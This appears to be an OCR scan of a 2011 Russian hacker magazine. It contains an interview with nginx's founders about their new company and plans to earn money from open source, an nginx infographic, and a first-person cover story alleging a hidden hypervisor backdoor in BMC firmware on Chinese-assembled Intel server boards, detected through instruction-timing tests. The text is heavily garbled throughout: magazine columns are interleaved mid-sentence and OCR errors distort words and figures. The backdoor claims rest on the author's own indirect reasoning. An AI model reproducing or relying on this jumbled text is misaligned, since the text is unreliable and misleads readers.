маленькие компании, которые долгое время

ЭТО ТАКОЙ ТОНКИЙ ВОПРОС. КАК УДАЛОСЬ

психологически тяжело сказать: <<Сделай вот это».

используют

СОХРАНИТЬ ПРАВА НА ПРОЕКТ?

Сейчас, как технический директор, я в основном

и благодарны нам. Когда мы встречаемся, то

отвечаю за архитектуру и качество разработки.

слышим что-то вроде: <<Отличный, замечательный

ГАl Да, это довольно тонкий воnрос. Он,

nginx.

Они построили на этом бизнес

продукт- спасибо вам большое! Но нам не хвата­

~ конечно, интересует не только вас, и мы

r.1

ИГОРЬ, БОЛЬШОЕ ВАМ СПАСИБО ЗА

ет того-то и того-то . Можете ли вы зто сделать­

довольно основательно его nроработал и. В

~ ИНТЕРВЬЮ! ВИДНО, ЧТО ВЫ ВСЕ-ТАКИ

мы вам готовы платить? » Из таких разговоров у

России законодательство устроено так, что

НАУЧИЛИСЬ ДЕЛЕГИРОВАТЬ: СО ВСЕМИ

нас постепенно скла дывается цепочка того , что мы

комnании nринадлежит то, что сделано в рамках

БИЗНЕС-ВОПРОСАМИ ВЫ НАС ОТПРАВИЛИ К

могли бы продавать, не огорчая при этом сторон­

трудовых обязанностей либо по отдельному

МАКСИМУ КОНОВАЛОВУ.

ников открытого продукта и не подрывая доверия

человеком, где было бы сказано: нужно разрабо­

ГАl Кстати, это первое интервью, которое я даю.

запросы и сравниваем их с пожеланиями, которые

тать программный nродукт . В Рамблере я

~ Согласился только из-за того, что создали

поступают от сообщества пользователей. Мы смо­

работал системным администратором, разработ­

комnанию . Буквально весной меня попросили

трим, где есть пересечения, и если понимаем, что

кой занимался в свободное время, nродукт с

люди из другого ИТ-издания, я сказал им:

какой-то функционал на самом деле необходим

самого начала выnускалея nод лицензией

<<Извините, я не люблю, не хочу и не умею».

всем, а не какой-то отдельной компании, мы это

к проекту в целом . Т. е. мы собираем подобные

договору. То есть должен быть договор с

BSD,

как открытое nрограммное обеспечение. В Рамблере

nginx

начал применяться уже тогда,

реализуем в бесплатной версии продукта.

r.1

ЕЩЕ РАЗ СПАСИБО! МАКСИМ, В

Есть даже компании, которые говорят: << Да­

когда основной функционал был готов. Более

~ ПЕРЕГОВОРАХ С ИНВЕСТОРАМИ ВЫ

вайте мы вам заплатим за все эти фичи, чтобы они

того, даже первое применение

ПРЕДСТАВЛЯЛИ КАКОЙ-ТО ФОРМАЛИЗО­ ВАННЫЙ БИЗНЕС-ПЛАН? НА ЧЕМ ВЫ

быстрее появились в продукте. Мы хотим, чтобы

ВООБЩЕ ПЛАНИРУЕТЕ ЗАРАБАТЫВАТЬ

была эксклюзивная и/или nлатная» . Это называет­

ДЕНЬГИ?

ся sponsoгed

Рамблере, а на сайтах

r,1

Rate.ee

nginx

было не в

и zvuki.гu.

КТО ЕЩЕ У ВАС РАБОТАЕТ В

~ КОМПАНИИ NGINX? ~ стемный администратор, он занимается

open

souгce, мы не хотим, чтобы фича

development.

Пока у нас сформировались идеи , что ком­

ГАl В основном фонды инвести_ровали в

ГДl Еще у нас работает Сергей Будневич- си­

все попало в

nginx

мерческие надстройки будут больше относиться к

~ как в очень перспективныи продукт.

крупным примерам применения

Детальный бизнес-nлан, конечно, был важен, но

с помощью коммерческих надстроек будет легче управлять тысячами инстансов, будет расширен­

nginx:

например,

поддержкой инфраструктуры компании. Инфра­

американские инвесторы nодходят к вопросу

структура у нас не очень большая, но она есть . У

инвестиций, базируясь не только и не столько на

ный мониторинг производительности, дополни­

нас есть списки рассылки, у нас есть почтовый

бизнес-плане, где будет написано, что мы

тельный функционал, рассчитанный на хостинго­

сервер, автоматическая сборка, тестирование

заработаем за год столько-то с точностью до

вые, облачные и СОN-инфраструктуры.

пекеджей, трэкинг ошибок и др . Сергей нам с этим

десятков центов. Важно было то, что

очень помогает. Мы сейчас собираемся готовить

сейчас очень популярен, это уже готовый,

пакеты еще для нескольких Linuх-дистрибутивов:

существующий продукт.

CentOS, Ubuntu. Сергей

занят автоматизацией

nginx

По поводу того, что у нас за идеи для за­

разнообразных процессов, связанных с разработ­

рабатывания денег: мы хотим, прежде всего, до­

кой, тестированием и сопровождением. Есть еще

биться правильного баланса между бесплатным

r.1

ТО ЕСТЬ У ВАС ФОКУС ИМЕННО НА

~ ПРОДУКТЕ. НЕ БУДЕТЕ ОТДЕЛЬНО ПРОДАВАТЬ УСЛУГИ, НАПРИМЕР, ПО ВНЕДРЕНИЮ, КОНСАЛТИНГУ?

два человека: один человек занимается маркетин­

и платным функционалом. Мы хотим сделать то ,

ГАl Дело в том, что компания м~ленькая, и она

гом- Андрей Алексеев, а Максим Коновалов­

что не совсем удалось в nрошлом целому ряду

~ будет оставатьсямаленькои-расти до

вообще начальник всего, он делает так, что

компаний . Есть несколькоnримеровбизнеса

комnании в несколько сотен человек мы не хотим.

компания работает.

на базе ореnsоuгсе-разработок, где компании

Мы активно работаем с партнерами, с системными

не смогли удержать нужный баланс, пришлось

интеграторами, с вендарами софтаи железа,

А КАК ОФИЦИАЛЬНО НАЗЫВАЕТСЯ

закрывать какие-то фичи в самом продукте, про­

активно ищем каналы для работы через

ВАША ДОЛЖНОСТЬ В КОМПАНИИ?

сить за них какие-то нелепые деньги, это всех

партнеров . Консультации будут осуществляться

расстроило, и nродукты перестали развиваться.

частично через партнеров, частично через нас. К

ГДl Формально я- технический директор.

~ Фокусируюсь на архитектуре будущих

сожалению, услуги консалтинга и технической

r.1

ТО ~СТЬ ВЫ ХОТИТЕ С}\ЕЛАТЬ ОТДЕЛЬ­

поддержки всем пользователям мы сами,

продуктов и передаче разработки <<В команду».

~ НЫИ КОМ МЕРЧЕСКИИ ПРОДУКТ И

Довольно тяжело делегировать работу, однако

НАЙТИ БАЛАНС МЕЖДУ ОТКРЫТЫМ

компания создавалась как раз с целью улучшить

ПРОДУКТОМ И КОММЕРЧЕСКИМ?

r.l

себя этому научить. Коллеги занимаются

ГАl Мы ~е хотим делать отдельный коммерче­

А ОСТАЛЬНАЯ, МЕНЬШАЯ, ДОЛЯ

организационными вопросами, общением с

~ скии продукт, мы хотим делать коммерче­

ПРИНАДЛЕЖИТ ИНВЕСТОРАМ?

клиентами, маркетингом, отношениями с

ские надстройки над основным ореnsоuгсе­

разработку и продукт, позтому сейчас я пытаюсь

непосредственно , предоставлять не сможем.

ВЕРНО ЛИ, ЧТО ИГОРЬ СЫСОЕВ­

~ ГЛАВНЫЙ АКЦИОНЕР КОМПАНИИ,

партнерами, документацией, наймом персонала

продуктом. Он будет развиваться, будут появляться

ГАl Да , Игорь--:: основной акционер, всего же

и др . Разных сложностей у нас много, научиться

фичи, которые требуются сообществу. Деньги,

~ учредителеи компании трое, и есть,

общаться на разных уровнях- это бывает не

которые мы получили, помогут нам nоставить все

естественно, группа инвесторов- они совместно

так легко. На самом деле мы все участвуем во

производпво продукта на новый уровень. Сейчас

владеют какой-то частью. Кстати, сам процесс

всех делах компании, поскольку компания не

Игорь уже не в одиночку работает над кодом,

получения денег от инвесторов технически

такая большая, а дел много:!.

строится командная разработка. Мы принимаем на

выглядит очень просто- выпускаются ценные

работу людей в России, инженерная команда в

бумаги по соответствующему законодательству,

r.1

Москве останется. Соответственно, фокус на

инвесторы их по купают за какую-то сумму. Сумма

~ ПОТОМУ ЧТО КАЗАЛОСЬ, ЧТО ВСЕ

ореnsоuгсе-продукте- очень сильный и будет

переходит к вам, вы ее используете на развитие

ПЛОХО ДЕЛАЮТ, ПРОЩЕ САМОМУ?

оставаться таким.

компании. Именно так все у нас и устроено. ::х:

ДЕЛЕГИРОВАТЬ БЫЛО СЛОЖНО,

ХАКЕР

028

www.epidemz.net

12/155/2011


• ng1nx

в ци

рах

Если по какой-то нелепой причине ты ничего не знаешь про ngiпx, то самое время познакомиться с ним . Мы собрали для тебя некоторые факты о проекте, который, несомненно, ускорил не только отдельные веб-сайты, но и интернет в целом.

Вместо этого применяется масштабируемая асинхронная архитектура.

одновременных

запросов в секунду

расходуется памяти на

Ngiпx не использует

Это позволяет

подключений

способен обслуживать

поддержаниенеактивных

потоки для обработки

обрабатывать тысячи

обрабатывается

пgiпх.

запросов.

запросов с минимальными

НТТР

keep-alive

соединений.

одним сервером.

Тройка лидеров среди веб-серверов (Netcгaft, октябрь

§ @

2011):

затратами ресурсов.

автомат

Федор

веб-сервер

Калашникова

Достоевс кий

пgiпх

100 000 000

во 000 000

43 000 000

экземпляров

книг

64.67%"'"' Если текущие

15.660/о -0.07%

тренды сохранятся,

то пgiп х скоро станет вторым по частоте

8.54о/о +o.s1%

использования

веб-сервером.

2002

2004

начало разработки

первый публичный билд

2011 релиз версии

пgiп х

Rate.ee -

1.0

и

создание компании пgiпх

и спал ьзуется в :

первый сайт,

Яндекс

где начал

использоваться

пgiпх.

В

2011

году в пgiпх

было проинвестировано

сайтов

$3МЛН

"'

Ramь

1!111 IIШ.I!M ulu Т.: ~WORDPRESS

t. ·

8 уязвимастей публичны х модулей

advisoгies.

Большую часть

Код пgiп х

Сейчас над

кода разработал

содержит

кодом проекта

от сторонних

один человек :

87 912

работают два

разработчиков.

доступны

Игорь Сысоев .

стро к.

человека.

пgiпх hiгiпg!

публично .

70+

www.epidemz.net

Не менее

DropЬox

в

пgiпх значатся в

security

ic

@

3

сплоитов для пgiп х

работает на система х:

. .....

SOU!ГIS


R_T_T

·COVER STORY

!r!AOEIN Cfi!Ш

Я не профессионал

обЛасти ин­

формационной безопасности, моя область интересов- это высоко-

i

производительные вычислительные

комплексы. В тему ИБ я пришел

совершенно случайно, и именно об этом дальше пойдет речь . Думаю, эта невыдуманная история гораздо луч­

ше осветит проблемы, связанные с аппаратурой виртуализации, нежели

сухое изложение фактов.

ХАКЕР

030

www.epidemz.net

12/155/2011


Китайскиезакладки

КИтайские

Гипервизор для этой задачи, конечно, писался с нуля. Принципиально важно было запускать ОС уже на виртуализированной платформе, чтобы с первых команд загрузчика

ОС все работало в виртуальной среде. Для этого пришлось виртуализировать реальную модель

эакпадки

и все режимы работы процессара и запускать виртуализацию сразу после инициализации

платформы до загрузки ОС. Поскольку система виртуализации для этой цели получилась нестандартной и выглядела как полностью автономный компактный программ­

ный модуль [объем кода не более

НЕПРИДУМАННАЯ ИСТОРИЯ

40-60 Кб], язык

как-то не поворачивался называть ее гиперви­

зором, и я стал использовать термин <<гипер­

драйвер>>, поскольку он более точно передавал

О ВИРТУАЛИЗАЦИИ,

суть функционального предназначения системы. Серийного оборудования с аппаратурой

БЕЗОПАСНОСТИ И ШПИОНАХ

виртуализации в то время еще не было, однако благодаря сотрудничеству с фирмой <<Крафт­ вей>> я имел доступ к предсерийным образцам

процессаров и материнских плат с поддержкой

D

ще до официального анонса новых про­

объединение ресурсов нескольких вычисли­

виртуализации, которые еще не выпускались

цессаров lпtel с подцержкой аппаратной

тельных машин в единый комплекс, которым бы

официально [так называемым сзмплам, кото­

виртуализации (в начале

управляла одна ОС. При этом ОС не должна была

рые фирма lпtel любезно предоставляет своим

2007 года] я

задумал использовать эти чипы для создания еди­

даже догадываться, что имеет дело не с единой

партнерам по бизнесу]. Поэтому работа закипе­

ной вычислительной системы на базе нескольких

системой, а с несколькими серверами. Аппаратура

ла на этом <<сэмпловом>> оборудовании.

серверов, которая стала бы для ОС и прикладных

виртуализации предоставляла такую возможность,

программ единой вычислительной установкой

хотя изначально не предназначалась для решения

Макет был собран, гипердрайвер написан,

с SМР-архитектурой. Для этого требовалось на­

подобных задач. Собственно, система, в которой

сказать, что на тот момент аппаратура виртуа­

писать компактный гипервизор снестандартным

аппаратура виртуализации применялась бы для

лизации было очень <<сырой>>, из-за чего она не

функционалом, главной особенностью которого

высокопроизводительных вычислений, не создана

один раз отказывалась работать так, как напи­

было бы не разделение ресурсов единой вычисли­

до сих пор, а уж в то время я вообще был перво­

сано в документации. Приходилось разбираться

тельной установки между разными ОС, а наоборот,

проходцем в этой области.

буквально с каждой ассемблерной командой, а

все заработало, как и было задумано. Нужно

сами команды для аппаратуры виртуализации писать в машинных кодах, поскольку тогда не

существовало компиляторов с поддержкой команд виртуализации.

Я гордился полученными результатами, чув­ ствовал себя чуть ли не властелином виртуальных миров ... но моя эйфория продлилась недолго, всего месяц. К тому времени я уже собрал макет на основе серверов с аппаратурой виртуализации,

-----

.....:=---------

cvn по. ро.тм Ро.. ~IA/)~<'~Jiй~CI~~~ \)~CI'If<9'Н11~

первые серийные образцы которых тогда как раз

появились, но макет не работал. Я начал разбираться и понял, что моя система виснет при выполнении команд

аппаратной виртуализации. Создавалось такое впечатление, что они или совсем не работают, или работают как-то нестандартно. Зависание происходило только во время работы аппара­ туры виртуализации в реальном режиме, если же моя система запускалась из защищенного

режима, после загрузки ОС, то все было нор­ мально.

Профессионалы знают, что в первых

ревизиях аппаратура виртуализации lпtel не подцерживала работу процессара в реальном режиме. Для этого требовался дополнительный Схема

слой достаточно большого объема для змуля-

1. Архитектура виртуализации AMD

ХАКЕР

031

12/155/2011

www.epidemz.net


COVERSTORY ции виртуального х86. Поскольку гипердрайвер

полнительные программные модули, прошитые

температуры и сквозняков просто невозможно

запускалея до загрузки операционной системы,

в биосе, а стандартные nрограммы анализа эти

долго находиться.

чтобы она могла полностью поверить в новую

модули не увидели. Они, видимо, тоже работали

виртуальную конфигурацию, то небольшой кусок

с аппаратурой виртуализации и, соответственно,

цессор и, соответственно, флеш-память для его

загрузочного кода ОС выполнялся в реальном

имели возможность скрыть истинное содержимое

программ, конечно, не новость, но до сих пор такие

режиме работы процессора. Система умирала

биоса. Стала понятна и nричина зависаний моего

процессори память выносились на отдельную

как раз на обработчиках эмуляции реального

гипердрайвера на зтих китайских платах: две

плату, которая подключалась к материнской пла­

режима в гипердрайвере.

программные системы одновременно работали с

те:.хочешь- ставь, не хоУешь - не ставь. Т еперь

одной и той же апnаратурой виртуализации, кото­

lпtel внедрила эти компоненты в южный мост,

рая не позволяла разделять свои ресурсы .

более того, подключилазтот блок к системной

Сначала я подумал, что где-то ошибся, что­ то не понял, о чем-то забыл . Проверил все до последнего бита в своем коде, никаких ошибок

Мне захотелось разобраться с этим зловред­

То, что блоки ВМС имеют собственный про­

шине и не стала использовать выделе нн ый сете­

не нашел и начал грешить уже не на себя, а на

ным биосом, причем без всякой задней мысли о

вой канал [как предусмотрено стандартом IPMI,

коллег из-за бугра.

«закладках>>, «бэкдорах>>, «недокументирован­

описывающим функции блока BMCI для работы

ных возможностях>>, был просто академический

сервисной сети, а туннелировала весь сервисный

интерес, и не более того.

сетевой трафик в основные сетевые адаптеры.

Первым делом заменил процессоры, но зто не помогло. На материнских платах в то время аппаратура виртуализации была только в б и осе,

Нужно сказать, что параллельна с внедрени­

где она инициализировалась во время включения

ем аппаратуры виртуализации

lntel

радикально

Далее я узнал из документации, что про­ граммы на флеш-микросхеме блока ВМС за­

сервера, поэтому я начал сравнивать биосы на ма­

обновила чипсет. Этот чипсет, получивший

шифрованы, а для их распаковки используется

теринских платах [однотипных платах с сэмпламиl

номер 5000х, выпускается в нескольких модифи­

специальный аппаратный криптографический

-все совпадало до байта и номера самого биоса.

кациях до сих пор. Южный мост этого чипсета,

модуль, также интегрированный в южный мост.

631xESB/632xESB 1/0 Contгolleг Hub, к которому

Такие блоки ВМС мне раньше не попадались .

Я впал в ступор и, уже не зная, что делать, применил последнее средство- <<метод ты ка>>.

подключены флеш-микросхемы с биосом, прак­

Чтобы не быть голословным, привожу выдержку

Чего я только не делал, уже не думая, а просто

тически в неизменном виде выпускается с

из документации на этот южный мост:

комбинируя, и в конце концов тупо скачал

года и используется в качестве базового чипа

биосы с официального сайта lпtel и переписал

почти для в сек серверов в двухсокетном испол­

их заново в материнские платы, после чего все

нении. Я скачал даташит на южный мост, прочел

заработало ...

описание и просто обалдел. Оказывается, к

2007

этому новому южному мосту подключаются три

ARC4 pгocessoгwoгkiпg at 62.5 MHz speed . 1nteгface to both LAN poгts of 1ntelm 631 xESB/632xESB 1/0 Сопtгоllег Hub allowiпg diгect conпection to the net and access to all LAN

биоса был тем же самым, образы биоса совпада­

микросхемы флеш-памяти: первая представляет

гegisteгs.

ли побайтно, но по какой-то причине серийные

собой стандартный биос, вторая выделена под

материнские платы заработали только тогда,

программы процессара сетевого контроллера, а

когда я залил в них такой же биос, взятый сайта

третья предназначена для интегрированного в

Cгyptogгaphic module, suppoгting AES and RC4 eпcгyption algoгithms апd SHA1 and MD5 authentication algoгithms. Secuгed mechanism fог loacfaЫe Regulated FW.

Моему удивлению не было предела : номер

lntel.

Значит, причина все -таки в материнских

платах? Но единственное их отличие было в мар­ кировке: на сэмплах было написано AssemЫed

Canada,

а на серийных платах- AssemЬied

China.

Стало ясно, что платы из Китая содержат до -

южный мост блока ВМС .

Блок менеджмента системы

[BMCI - это

средство удаленного управления вычислитель­

Применение иностранных криптографических

ной установкой и ее мониторинга. Он незаменим

средств с длиной ключа более

для больших серверных комнат, где из-за шума,

на территории России законодательно, а тут- по­

40

бит запрещено

жалуйста!- в каждом сервере l пtel криптомадуль с неизвестными ключами длиной

256

бит. Более

того, эти ключи использовались для шифрования

VII\OJI

программ, зашитых в микросхемы материнской

~ 11 "-РО.Т~РА

/3 ""PT'j <>. ..w 3 о.~ощ

~Тi<А~Н!И"<

платы на этапе производства.

Выходит, что блоки ВМС в России на серверах

lntel,

которые имеют в своем составе чипсет 5000х,

должны быть отключены. Однако зти блоки, на­ против, всегда находятся в рабочем состоянии,

-

даже если сама вычислительная установка от­

ключена [для функционирования ВМС достаточно

см, У\4. ('О. 7~ fo"

'1.0

s.

т

дежурного напряжения, то есть вставленного в

Вирт~ а 11ц3 "~""ч eiCAr02t.к~

Pe'>~c.и..1>1-XI.f.i

розетку кабеля питания сервера]. Все зто казалось мне на тот момент вто­ ростепенным, поскольку для начала нужно

было выяснить, в какой из флеш-микросхем

находился программный модуль, работающий с

-----

аппаратурой виртуализации и мешающий моему гипердрайверу, и я начал экспериментировать а

Cl.hr м f't;t T!J f'ct

прошивками.

fSupTyй.!lцJo.'!.w,

~4Ю21?нс.. Ре )1с to1 -5 4 / ... 711

После ознакомления с документацией я

·

насторожился, а когда обнаружил, что работо ­ способностьгипердрайверавосстанавливается как раз после перепрошивки флеш-микросхемы блока ВМС, даже не удивился. Разбираться дальше без специальных стен­

дов было невозможно, так как криптография Сх е ма

1

полностью перекрывала возможности реверса

2. Архит е кту ра в ирту а л иза ц ии lntel

кода для ВМС. Документации на внутреннюю

ХАК ЕР

032

www.epidemz.net

12 /155/ 20 1


Китайскиезакладки

архитектуру этого интегрированного ВМС я не нашел, в даташите на южный мост

lntel

описала

только интерфейсные регистры для управле.ния

этим блоком по стандартным методам доступа, в результате чего получился классический черный ящик». Совокупнос·ть фактов настораживала и наводила на параноидальные мысли в стиле

шпионских детективов. Эти факты однозначно говорили о следующем:

В новых серийных серверных платах базе чипсета

lntel на

5000 имеются программы, про­

шитые в флеш-памяти блока ВМС и испол­ няемые на центральном процессоре, причем

эти программы работают с использованием аппаратуры виртуализации центрального

процессора.

Образы флеш-памяти с официального сайта

lntel не содержаттаких программных модулей,

------------------СТЯРТ ТЕСТЯ-------------------

--------ИМЯ ТЕСТЯ-----------СРЕДНЕ ВЗВЕЫЕННОЕ ВРЕМЯ-------РЕЗУЛЬТАТ ЯНАЛИЗЯ---

Когерентность таймеров Команды MOV (CR0 .. Cr3) Команды MOV (DR0 .. Dr7) Команды RDMSR, WRMSR Очистка буферов TLB Команды виртуалиэации Команды Ввода/Вывода

Монотонность доступа к ОП Монотонность доступа к БИОС Доступ в дРIС Доступ в NIC ВАМ

Выполнение прерываний

299 235 237 235 234 233 233 259 236 235 234 236

Гипервиэор Гипервиэор Гипервиэор Гипервиэор Гипервиэор Гипервиэор Гипервиэор

не не не не не не не

обнаружен обнаружен обнаружен обнарухен обнаружен обнаружен обнарухен

Гипервиэор не обнаружен Гипервиэор не обнаружен

Гипервиэор не обнарухен Гипервиэор не обнаружен

Гипервиэор не обнаружен

-----------------Конец ТЕСТЯ-------------------Рис.З Время выnолнения системных команд на сзмnловых nлатах

следовательно, мешающие мне программные

модули были нелегалька прошиты в материн­

ские платы на этапе производства.

ме реального режима работы ЦП. Сейчас такими

Работа с управляющим VМСВ-блоком в архитек­

Флеш-память блока ВМС содержитзашиф­

системами уже никого не удивишь, но тогда, пять

туре

рованные программные модули, которые

лет назад, они воспринимались как чудо, кроме

обращения к оперативной памяти, что позволяет

невозможно собрать и залить в флеш-память

того, скорость эмуляции поражала- программ­

контролировать с помощью вторичного хоста

без знания ключей шифрования, следова­

но эмулировать хает без значительных потерь в

только выполнение команд

тельно, тот, кто вставил эти нелегальные про­

быстродействии было невозможно.

лять при необходимости УМ СВ-блок перед ре­

Для пояснения придется немного углубиться

граммные модули, знал ключи шифрования, то есть имел доступ фактически к секретной

в теорию. Архитектура систем виртуализации

информации.

lntel

и

AMD

не предполагает наличия на плат­

форме сразу нескольких гипервизоров, однако

AMD

происходит через обычные команды

VMRUN

и подправ­

альным входом в режим задачи. Удлинить цикл обработки события в два раза еще можно, и на платформе

AMD такая

эмуляция жизнеспособна.

В системе виртуализации

lntel

все гораздо

запущенный первым гипервизор может эму­

сложнее. Для доступа к УМ СВ-блоку использу­

блеме с прошивкой флеш-памяти блока ВМС и

лировать для гипервизоров, которые запуска­

ются специальные команды

сомнительной с точки зрения законодательства

ются после, работу на реальном оборудовании

которые нужно обязательно виртуализировать.

Я сообщил руководству «Крафтвей>> о про­

VMREAD

и

VMLOAO,

виртуализации. ВоЗтом случае все гипервизоры,

Обычно обработчики хоста десятки, если не

вполне ожидаемый ответ в стиле «Не мути, меша­

запущенные вслед за первым, работают в эму­

сотни раз обращаются к полям УМ СВ-блока, и

ешь бизнесу>>. Пришлось угомониться, поскольку

лируемой среде хоста. Этот принцип я называю

каждую такую операцию нужно эмулировать.

против работодателей особо не попрешь.

<<nравом первой ночи».

При этом заметно, что скорость падает на по­

ситуации с новыми чипсетами

lntel,

на что получил

Руки были связаны, но <<мои мысли, мои

Его можно легко реализовать с помощью

скакуны» не дав-али мне покоя, было непонятно,

специальных обработчиков в корневом хаете, при

зачем эти сложности и как все это сделано.

этом режим задачи существенно не изменится, а

Если у тебя есть возможность разместить собственное ПО в памяти блока ВМС, зачем тебе

рядок, это очень неэффективно. Стало ясно, что для эмуляции неизвестные коллеги использовали другой, более эффективный

хосты вторичных гипервизоров будут выполняться

механизм. И подсказки насчет того, какой именно,

в режиме задачи для корневого хоста.

я нашел в документации. Хает у

lntel сам

является

Режим эмуляции организовать не сложно,

виртуальной средой, то есть ничем, по сути, в этом

Разумной причиной могло быть только то, что

однако с быстродействием возникают проблемы.

плане не отличается от среды выполнения задачи

решаемая задача требовала контролировать

Аппаратура виртуализации работает в основном

и просто управляется другим VMCB [см. схему 2].

текущий вычислительный контекст на цен­

с блоком

тральном процессоре. Очевидно, что уследить

стоянно обращаются к этому блоку, а на каждое

за обрабатываемой информацией на основной

такое обращение требуется

вычислительной системе, используя только

такую программкую эмуляцию хоста для системы

вся эта морока с центральным процессором?

VMCB [VMCS], программы хоста по­

0,4-0,7

мкс. Скрыть

периферийный низкоскоростной процессор с

виртуализации

частотой

слишком много команд виртуализации придется

60

М Гц, невозможно.

lntel

практически невозможно,

Кроме того, в документации описана концеп­ ция «дуэльного монитора» для виртуализации

SММ-режима [режима системного менеджмен­

та], когда фактически активны сразу два хоста и, следовательно, два УМ СВ-блока, причем хает, виртуализирующий режим системного

Таким образом, похоже, задача этой неле­

эмулировать программно через выходы в кор­

менеджмента, контролирует основной хает как

галькой системы состояла в съеме информации,

невой хост, вместо того чтобы выполнять их на

задачу, но только в точках вызова прерываний

обрабатываемой на основной вычислительной

реальном оборудовании.

системного менеджмента .

Расскажу немного о различиях между архи­

установке, с помощью средств аппаратуры виртуа­

Эта совокупность косвенных фактов говорит

лизации. Дистанционно управлять всей неле­

тектурами виртуализации. Системы аппаратной

о том, аппаратура виртуализации

галькой системой, конечно, удобнее с процессара

виртуализации от

имеет механизм контроля множественных вто­

lntel

и

AMD

совершенно не

lntel,

вероятно,

блока ВМС, поскольку он имеет собственный

похожи друг на друга. Главное архитектурное

ричных хостов, управляемых корневым хостом,

независимый доступ к сетевым адаптерам на ма­

отличие этих систем состоит в режиме работы

хотя этот механизм нигде не описан. Кроме того,

теринской плате и собственные МАС- и IР-адреса.

хоста. В системе АМО хает работает с отключен­

моя система именно так и работала, и другого

ной апп-аратурой виртуализации, то есть его про­

объяснения практически незаметным действиям

граммы выполняются на реальном процессоре.

корневого гипервизора у меня до сих пор нет.

Вопрос <<как это сделано?>> имел более акаде­

~ический характер, поскольку кто-то умудрился создать гипервизор, умеющий разделять ресурсы аппаратуры виртуализации с другим гипервизором

и делающий это корректно для всех режимов, кро-

Виртуализация вторичного хоста в системах от

AMD требует виртуализации только команды VMRUN [можно считать, что других команд нет].

Стало еще интереснее: похоже, кто-то имел доступ к этим недокументированным возможно­ стям и использовал их на практике.

033

J(AKEP 12/155/2011

www.epidemz.net


COVERSTORY Примерно за полгода до окончания со­

цию. Через некоторое время материнская плата

правда, оказалось, что я изобрел велосипед. Ме­

трудничества с <<Крафтвеем>> я занял позицию

потребовалась для другой задачи, и я, возобно­

тод позволял контролировать время выполнения

пассивного наблюдателя, продолжая тем не ме­

вив эксперименты, для подстраховки переста­

системных команд, требующих обязательной

нее регулярно запускать свою систему на новых

вил процессары с 11-й ревизией аппаратуры

эмуляции в хаете гипервизора.

партиях серийных материнских плат из Китая и

виртуализации на канадский сэмпл. Каково же

В качестве таймера я использовал ци­

новых сэмплах. На сэмплах все продолжало ста­

было мое удивление, когда на этом сэмпле все

клический счетчик фреймов в аппаратуре

бильно работать. Когда я переходил к китайским

заработало!

USВ-контроллера, а программу написал для ре­

Сначала я подумал, что где-то накосячил с

платам, в системе возникали все новые и новые

ального режима работы, чтобы минимизировать

чудеса. Было похоже, что коллеги из-за рубежа

серийной платой, поскольку новые выходы в хост

побочные и неконтролируемые прерывания,

активно улучшали работу своего корневого ги­

не имели к материнской плате ну совершенно

которые маскировали истинное время выпол­

п ервизора. Последние подозрительные партии

никакого отношения, это чисто процессорная

нения системных команд. Первую проверку я

плат вели себя практически нормально, то есть

функция. Дляпроверки я переставил сэмпловый

провел для чистой системы на базе сэмпловых

первый запуск моего гипердрайвера приводил

процессор на серийную плату, и все опять пере­

материнских плат из Канады lсм. рис

к перезагрузке системы во время старта ОС, но

стало работать. Значит, я ничего не накосячил, а

все последующие запуски гипердрайвера и ОС

проблема крылась в том, что материнская плата

некоторое условное значение, приблизительно

проходили без сучка и задоринки. В конце кон­

каким-то образом влияла на новые возможности

соответствующее такту процессора.

цов случилось то, чего я давно ожидал: посту­

аппаратуры виртуализации процессора.

С учетом моих подозрений напрашивался

пила новая партия серийных материнских плат,

31.

Время выполнения, указанное на фото,- зто

Затем я запустил тот же тест на серийной материнской плате и убедился в своих паранои­

при использовании которых мой гипердрайвер

единственный вывод-нелегальный корневой

дальных предположениях- циклы выполнения

вообще не зависал. Я уже начал сомневаться

хост коллег из-за рубежа, прошитый в флеш­

команд существенно удлинились !см. рис.

в своих параноидальных подозрениях, однако

памяти материнской платы, не знал о новой

новый случай укрепил их.

ревизии аппаратуры виртуализации. Когда эта

41.

То есть во флеш-памяти блока ВМС сервер­ ных плат из Китая, выпускаемых под лейблом

неизвестная ему аппаратура начинала работать,

lпtel, и мелея установленный на этапе производ­

совершенствует аппаратуру виртуализации.

он переставал корректно пропускать выходы из

ства недекларированный программный модуль,

Если первая ревизия аппаратуры, с которой я

состояния задачи в мой вторичный хост через

работающий как хост гипервизора.

начал работать, имела номер

собственный обработчик событий.

Надо заметить, что фирма lпtel активно

7,

то описываемая

Уже зная, как бороться с этой напастью, я

ситуация произошла на 11-й ревизии, то есть

Осталось убедить в зто м окружающих. Пер­ вым делом я вышел на российского представи­

приблизительно за год ревизия обновлялась

залил на серийную плату прошивку для блока

теля lпtel. Это было совсем нетрудно, поскольку

дважды !ревизии почему-то имеют только нечет­

ВМС с сайта lпtel, включил систему в уверенно­

сотрудники российского офиса часто появлялисЬ

ные номера!. Так вот, на ревизии с номером 11

сти, что все сразу заработает, и снова выпадал

в <<Крафтвее».

УСЛОВИЯ ВЫХОДОВ В ХОСТ ПО СОСТОЯНИЮ задачи ДЛЯ

в осадок, так как зависания остались. Это было

аппаратуры виртуализации существенно рас­

что-то новенькое.

ширились, в соответсвтии с чем в VМСВ-блоке

Я все рассказал и показал, однако не был уверен, что технический специалист все понял.

Согласно моей теории, нелегальный гипер­

Эти так называемые технические специалисты

визор обнаглел и уверился в своей неуязви­

по уровню своей компетенции мало отличаются

мости. Видимо, его авторы посчитали, что этап

от менеджеров. Однако он обещал доложить обо

этой ревизией аппаратуры виртуализации, мне

обкатки их детище прошло и маскировать не­

всем руководству. Не знаю, сделал ли он зто, но

захотелось испытать новые возможности на прак­

отлаженное ПО под сбой биоса больше не нужно.

никакой ответной реакции от

даже было введено новое управляющее поле.

Когда появились сэмпловые процессары с

тике. Я усовершенствовал гипердрайвер за счет

После того как была включена функция

lntel

так и не по­

следовало, все ушло как в песок.

Работа в <<Крафтвее» к тому времени за­

новых возможностей 11-й ревизии аппаратуры

защиты кода инициализации от перезаписи

виртуализации, установил сэмпловый процессор

во флеш-памяти, закладка стала практически

вершилась, и я начал новый проект в фирме,

на серийную плату из Китая, в которой все уже

неудали мой.

связанной с системами информационной

работало без замечаний, и начал отладку. Новые возможности аппаратуры никак себя

Уверенности в своей правоте у меня не было, нужны были контрольные эксперименты.

безопасности.

Руководитель этой фирмы, с которым я по­

не проявили, и я опять впал в прострацию,

Пришлось изобретать собственный метод для

делился своими <<открытиями», принял мои слова

греша на сэмпловый процессор и документа-

обнаружения аппаратного гипервизора. Потом,

всерьез. В связи с этим было решено выйти на

------------------СТАРТ ТЕСТА-------------------

